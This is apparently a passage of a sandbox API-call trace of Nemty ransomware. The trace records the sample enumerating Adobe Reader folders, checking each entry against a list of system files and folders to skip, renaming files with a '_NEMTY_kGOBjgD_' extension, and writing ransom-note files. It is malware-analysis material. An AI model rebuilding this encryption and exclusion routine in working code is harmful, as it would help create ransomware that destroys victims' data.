[0189.280] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10870, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x10870, lpOverlapped=0x0) returned 1 [0189.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.280] SetFilePointer (in: hFile=0x320, lDistanceToMove=67699, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10873 [0189.280] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.280] CloseHandle (hObject=0x320) returned 1 [0189.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0189.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.281] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.282] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24634490, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24634490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24634490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.282] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.283] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24634490, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24634490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24634490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.283] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.283] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="PTB", cAlternateFileName="")) returned 1 [0189.283] lstrcmpiW (lpString1="PTB", lpString2=".") returned 1 [0189.283] lstrcmpiW (lpString1="PTB", lpString2="..") returned 1 [0189.283] lstrcmpiW (lpString1="PTB", lpString2="...") returned 1 [0189.283] lstrcmpiW (lpString1="PTB", lpString2="windows") returned -1 [0189.283] lstrcmpiW (lpString1="PTB", lpString2="$RECYCLE.BIN") returned 1 [0189.283] lstrcmpiW (lpString1="PTB", lpString2="rsa") returned -1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="NTDETECT.COM") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="ntldr") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="MSDOS.SYS") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="IO.SYS") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="boot.ini") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="boot.ini") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="AUTOEXEC.BAT") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="ntuser.dat") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="desktop.ini") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="CONFIG.SYS") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="RECYCLER") returned -1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="BOOTSECT.BAK") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="bootmgr") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="programdata") returned 1 [0189.284] lstrcmpiW (lpString1="PTB", lpString2="appdata") returned 1 [0189.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PTB", lpUsedDefaultChar=0x0) returned 3 [0189.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PTB", lpUsedDefaultChar=0x0) returned 3 [0189.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0189.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0189.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0189.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0189.287] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.287] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.288] CloseHandle (hObject=0x2f0) returned 1 [0189.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0189.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0189.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.289] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.289] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.290] CloseHandle (hObject=0x2f0) returned 1 [0189.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.290] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24764f90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24764f90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.290] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.290] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24764f90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24764f90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.290] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.290] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0189.290] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc4a8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.290] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.290] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.290] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.290] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.291] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 